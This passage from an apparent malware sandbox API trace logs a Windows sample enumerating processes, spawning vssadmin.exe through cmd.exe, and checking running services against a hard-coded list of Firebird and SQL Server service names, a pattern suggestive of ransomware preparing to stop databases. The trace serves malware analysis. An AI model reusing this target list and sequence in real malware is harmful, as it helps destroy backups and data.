lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.292] lstrlenW (lpString="svchost.exe") returned 11 [0040.292] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.293] lstrlenW (lpString="dwm.exe") returned 7 [0040.293] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.293] lstrlenW (lpString="explorer.exe") returned 12 [0040.293] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.294] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.294] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.295] lstrlenW (lpString="taskhost.exe") returned 12 [0040.295] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.295] lstrlenW (lpString="svchost.exe") returned 11 [0040.296] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.296] lstrlenW (lpString="taskeng.exe") returned 11 [0040.296] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.297] lstrlenW (lpString="taskhost.exe") returned 12 [0040.297] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0040.297] lstrlenW (lpString="obligations-breath.exe") returned 22 [0040.297] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0040.298] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0040.298] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0040.299] lstrlenW (lpString="achieving.exe") returned 13 [0040.299] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0040.299] lstrlenW (lpString="venice.exe") returned 10 [0040.299] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0040.300] lstrlenW (lpString="owns.exe") returned 8 [0040.300] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0040.300] lstrlenW (lpString="faster momentum.exe") returned 19 [0040.301] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0040.301] lstrlenW (lpString="vital_reasons.exe") returned 17 [0040.301] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0040.302] lstrlenW (lpString="everyone.exe") returned 12 [0040.302] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0040.302] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0040.302] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0040.303] lstrlenW (lpString="bored_excluded.exe") returned 18 [0040.303] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0040.304] lstrlenW (lpString="mothers.exe") returned 11 [0040.304] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0040.304] lstrlenW (lpString="career-fed.exe") returned 14 [0040.304] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0040.305] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0040.305] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0040.305] lstrlenW (lpString="initial_utilization.exe") returned 23 [0040.306] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0040.306] lstrlenW (lpString="cf-represent.exe") returned 16 [0040.306] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0040.307] lstrlenW (lpString="tue.exe") returned 7 [0040.307] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0040.307] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0040.307] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0040.308] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0040.308] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0040.309] lstrlenW (lpString="stuff_event.exe") returned 15 [0040.309] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0040.309] lstrlenW (lpString="keywords-copies.exe") returned 19 [0040.309] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0040.310] lstrlenW (lpString="lap.exe") returned 7 [0040.310] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.411] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.411] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0040.412] lstrlenW (lpString="chrome64b.exe") returned 13 [0040.412] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.413] lstrlenW (lpString="cmd.exe") returned 7 [0040.413] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.413] lstrlenW (lpString="conhost.exe") returned 11 [0040.413] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.414] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.414] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0040.415] CloseHandle (hObject=0x1e8) returned 1 [0040.415] Sleep (dwMilliseconds=0x1f4) [0040.993] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fb88 [0040.993] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0040.993] GetLastError () returned 0xea [0040.994] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6e1eb0 [0040.994] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0040.994] CloseServiceHandle (hSCObject=0x66fb88) returned 1 [0040.995] lstrlenW (lpString="Appinfo") returned 7 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.995] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.995] lstrlenW (lpString="AudioSrv") returned 8 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.995] lstrlenW (lpString="BFE") returned 3 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.996] lstrlenW (lpString="CryptSvc") returned 8 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.996] lstrlenW (lpString="CscService") returned 10 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.996] lstrlenW (lpString="DcomLaunch") returned 10 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.996] lstrlenW (lpString="Dhcp") returned 4 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.996] lstrlenW (lpString="Dnscache") returned 8 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.997] lstrlenW (lpString="DPS") returned 3 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.997] lstrlenW (lpString="eventlog") returned 8 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.997] lstrlenW (lpString="EventSystem") returned 11 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.998] lstrlenW (lpString="gpsvc") returned 5 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.998] lstrlenW (lpString="iphlpsvc") returned 8 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.998] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.998] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.998] lstrlenW (lpString="LanmanServer") returned 12 [0040.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.999] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.999] lstrlenW (lpString="lmhosts") returned 7 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.999] lstrlenW (lpString="MMCSS") returned 5 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.999] lstrlenW (lpString="MpsSvc") returned 6 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.999] lstrlenW (lpString="Netman") returned 6 [0040.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.000] lstrlenW (lpString="netprofm") returned 8 [0041.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.001] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.001] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.001] lstrlenW (lpString="NlaSvc") returned 6 [0041.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.001] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.001] lstrlenW (lpString="nsi") returned 3 [0041.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.001] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.001] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.001] lstrlenW (lpString="PcaSvc") returned 6 [0041.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.001] lstrlenW (lpString="PlugPlay") returned 8 [0041.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.001] lstrlenW (lpString="Power") returned 5 [0041.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.002] lstrlenW (lpString="ProfSvc") returned 7 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.002] lstrcmpiW 